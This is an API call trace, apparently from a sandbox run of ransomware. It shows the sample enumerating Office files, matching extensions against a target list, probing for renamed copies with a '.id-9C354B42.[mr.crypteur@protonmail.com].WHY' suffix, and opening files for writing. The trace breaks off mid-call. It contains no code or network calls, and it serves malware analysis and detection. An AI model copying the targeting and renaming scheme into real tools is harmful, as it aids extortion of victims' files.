[0225.910] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.910] lstrlenW (lpString=".zip") returned 4 [0225.910] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.910] lstrlenW (lpString=".rar") returned 4 [0225.910] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.910] lstrlenW (lpString=".bz2") returned 4 [0225.911] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.911] lstrlenW (lpString=".7z") returned 3 [0225.911] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.911] lstrlenW (lpString=".dbf") returned 4 [0225.911] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0225.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.911] lstrlenW (lpString=".1cd") returned 4 [0225.911] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0225.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.911] lstrlenW (lpString=".jpg") returned 4 [0225.911] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0225.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.912] lstrlenW (lpString=".doc") returned 4 [0225.912] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.912] lstrlenW (lpString=".docx") returned 5 [0225.912] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0225.912] lstrlenW (lpString=".pdf") returned 4 [0225.912] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.912] lstrlenW (lpString=".xls") returned 4 [0225.912] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.912] lstrlenW (lpString=".xlsx") returned 5 [0225.912] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0225.912] lstrlenW (lpString=".ppt") returned 4 [0225.912] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.912] lstrlenW (lpString=".zip") returned 4 [0225.913] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.913] lstrlenW (lpString=".rar") returned 4 [0225.913] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.913] lstrlenW (lpString=".bz2") returned 4 [0225.914] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.914] lstrlenW (lpString=".7z") returned 3 [0225.914] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.914] lstrlenW (lpString=".dbf") returned 4 [0225.914] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0225.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.914] lstrlenW (lpString=".1cd") returned 4 [0225.914] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0225.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.914] lstrlenW (lpString=".jpg") returned 4 [0225.914] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0225.915] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0225.915] lstrlenW (lpString="SETUP.XML") returned 9 [0225.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0226.139] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=1988) returned 1 [0226.140] CloseHandle (hObject=0x38c) returned 1 [0226.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0226.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.140] lstrlenW (lpString=".doc") returned 4 [0226.140] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0226.141] lstrlenW (lpString=".docx") returned 5 [0226.141] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0226.141] lstrlenW (lpString=".pdf") returned 4 [0226.141] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0226.141] lstrlenW (lpString=".xls") returned 4 [0226.141] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0226.141] lstrlenW (lpString=".xlsx") returned 5 [0226.141] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0226.141] lstrlenW (lpString=".ppt") returned 4 [0226.141] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0226.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.141] lstrlenW (lpString=".zip") returned 4 [0226.141] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0226.142] lstrlenW (lpString=".rar") returned 4 [0226.142] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0226.142] lstrlenW (lpString=".bz2") returned 4 [0226.142] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0226.142] lstrlenW (lpString=".7z") returned 3 [0226.142] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0226.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.142] lstrlenW (lpString=".dbf") returned 4 [0226.142] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0226.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.142] lstrlenW (lpString=".1cd") returned 4 [0226.142] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0226.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.142] lstrlenW (lpString=".jpg") returned 4 [0226.142] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0226.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.143] lstrlenW (lpString=".doc") returned 4 [0226.143] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0226.143] lstrlenW (lpString=".docx") returned 5 [0226.143] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0226.143] lstrlenW (lpString=".pdf") returned 4 [0226.143] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0226.143] lstrlenW (lpString=".xls") returned 4 [0226.143] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0226.143] lstrlenW (lpString=".xlsx") returned 5 [0226.143] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0226.143] lstrlenW (lpString=".ppt") returned 4 [0226.143] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0226.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.144] lstrlenW (lpString=".zip") returned 4 [0226.144] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0226.144] lstrlenW (lpString=".rar") returned 4 [0226.144] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0226.144] lstrlenW (lpString=".bz2") returned 4 [0226.144] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0226.144] lstrlenW (lpString=".7z") returned 3 [0226.144] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0226.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.144] lstrlenW (lpString=".dbf") returned 4 [0226.144] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0226.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.144] lstrlenW (lpString=".1cd") returned 4 [0226.144] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0226.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0226.145] lstrlenW (lpString=".jpg") returned 4 [0226.145] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0226.145] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0226.145] lstrlenW (lpString="VisiorWW.XML") returned 12 [0226.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0226.507] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=8723) returned 1 [0226.508] CloseHandle (hObject=0x38c) returned 1 [0226.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0226.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.508] lstrlenW (lpString=".doc") returned 4 [0226.508] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0226.508] lstrlenW (lpString=".docx") returned 5 [0226.509] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0226.509] lstrlenW (lpString=".pdf") returned 4 [0226.509] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0226.509] lstrlenW (lpString=".xls") returned 4 [0226.509] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0226.509] lstrlenW (lpString=".xlsx") returned 5 [0226.509] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0226.509] lstrlenW (lpString=".ppt") returned 4 [0226.509] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0226.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.509] lstrlenW (lpString=".zip") returned 4 [0226.509] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0226.509] lstrlenW (lpString=".rar") returned 4 [0226.510] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0226.510] lstrlenW (lpString=".bz2") returned 4 [0226.510] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0226.510] lstrlenW (lpString=".7z") returned 3 [0226.510] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0226.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.510] lstrlenW (lpString=".dbf") returned 4 [0226.510] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0226.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.510] lstrlenW (lpString=".1cd") returned 4 [0226.510] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0226.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.510] lstrlenW (lpString=".jpg") returned 4 [0226.510] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0226.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.511] lstrlenW (lpString=".doc") returned 4 [0226.511] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0226.511] lstrlenW (lpString=".docx") returned 5 [0226.511] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0226.511] lstrlenW (lpString=".pdf") returned 4 [0226.511] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0226.511] lstrlenW (lpString=".xls") returned 4 [0226.511] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0226.512] lstrlenW (lpString=".xlsx") returned 5 [0226.512] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0226.512] lstrlenW (lpString=".ppt") returned 4 [0226.512] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0226.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.512] lstrlenW (lpString=".zip") returned 4 [0226.512] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0226.512] lstrlenW (lpString=".rar") returned 4 [0226.512] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0226.512] lstrlenW (lpString=".bz2") returned 4 [0226.512] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0226.512] lstrlenW (lpString=".7z") returned 3 [0226.512] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0226.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.513] lstrlenW (lpString=".dbf") returned 4 [0226.513] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0226.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.513] lstrlenW (lpString=".1cd") returned 4 [0226.513] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0226.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0226.513] lstrlenW (lpString=".jpg") returned 4 [0226.513] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0226.514] lstrcmpiW (lpString1=".emf", lpString2=".WHY") returned -1 [0226.514] lstrlenW (lpString="Shorthand.emf") returned 13 [0226.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.356] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=81292) returned 1 [0227.357] CloseHandle (hObject=0x2d0) returned 1 [0227.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0227.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.357] lstrlenW (lpString=".doc") returned 4 [0227.357] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0227.358] lstrlenW (lpString=".docx") returned 5 [0227.358] lstrcmpiW (lpString1=".docx", lpString2="d.emf") returned -1 [0227.358] lstrlenW (lpString=".pdf") returned 4 [0227.358] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0227.358] lstrlenW (lpString=".xls") returned 4 [0227.358] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0227.358] lstrlenW (lpString=".xlsx") returned 5 [0227.358] lstrcmpiW (lpString1=".xlsx", lpString2="d.emf") returned -1 [0227.358] lstrlenW (lpString=".ppt") returned 4 [0227.358] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0227.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.358] lstrlenW (lpString=".zip") returned 4 [0227.358] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0227.358] lstrlenW (lpString=".rar") returned 4 [0227.358] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0227.358] lstrlenW (lpString=".bz2") returned 4 [0227.359] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0227.359] lstrlenW (lpString=".7z") returned 3 [0227.359] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0227.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.359] lstrlenW (lpString=".dbf") returned 4 [0227.359] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0227.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.359] lstrlenW (lpString=".1cd") returned 4 [0227.359] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0227.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.359] lstrlenW (lpString=".jpg") returned 4 [0227.359] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0227.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.359] lstrlenW (lpString=".doc") returned 4 [0227.359] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0227.359] lstrlenW (lpString=".docx") returned 5 [0227.360] lstrcmpiW (lpString1=".docx", lpString2="d.emf") returned -1 [0227.360] lstrlenW (lpString=".pdf") returned 4 [0227.360] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0227.360] lstrlenW (lpString=".xls") returned 4 [0227.360] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0227.360] lstrlenW (lpString=".xlsx") returned 5 [0227.360] lstrcmpiW (lpString1=".xlsx", lpString2="d.emf") returned -1 [0227.360] lstrlenW (lpString=".ppt") returned 4 [0227.360] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0227.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.360] lstrlenW (lpString=".zip") returned 4 [0227.360] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0227.360] lstrlenW (lpString=".rar") returned 4 [0227.360] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0227.361] lstrlenW (lpString=".bz2") returned 4 [0227.361] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0227.361] lstrlenW (lpString=".7z") returned 3 [0227.361] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0227.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.361] lstrlenW (lpString=".dbf") returned 4 [0227.361] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0227.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.361] lstrlenW (lpString=".1cd") returned 4 [0227.361] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0227.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0227.361] lstrlenW (lpString=".jpg") returned 4 [0227.361] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0227.362] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0227.362] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0227.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.363] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=1593) returned 1 [0227.363] CloseHandle (hObject=0x2d0) returned 1 [0227.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0227.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.364] lstrlenW (lpString=".doc") returned 4 [0227.364] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.364] lstrlenW (lpString=".docx") returned 5 [0227.364] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.365] lstrlenW (lpString=".pdf") returned 4 [0227.365] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.365] lstrlenW (lpString=".xls") returned 4 [0227.365] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.365] lstrlenW (lpString=".xlsx") returned 5 [0227.365] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.365] lstrlenW (lpString=".ppt") returned 4 [0227.365] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.365] lstrlenW (lpString=".zip") returned 4 [0227.365] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.365] lstrlenW (lpString=".rar") returned 4 [0227.365] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.365] lstrlenW (lpString=".bz2") returned 4 [0227.366] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.366] lstrlenW (lpString=".7z") returned 3 [0227.366] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.366] lstrlenW (lpString=".dbf") returned 4 [0227.366] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.366] lstrlenW (lpString=".1cd") returned 4 [0227.366] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.366] lstrlenW (lpString=".jpg") returned 4 [0227.366] lstrcmpiW 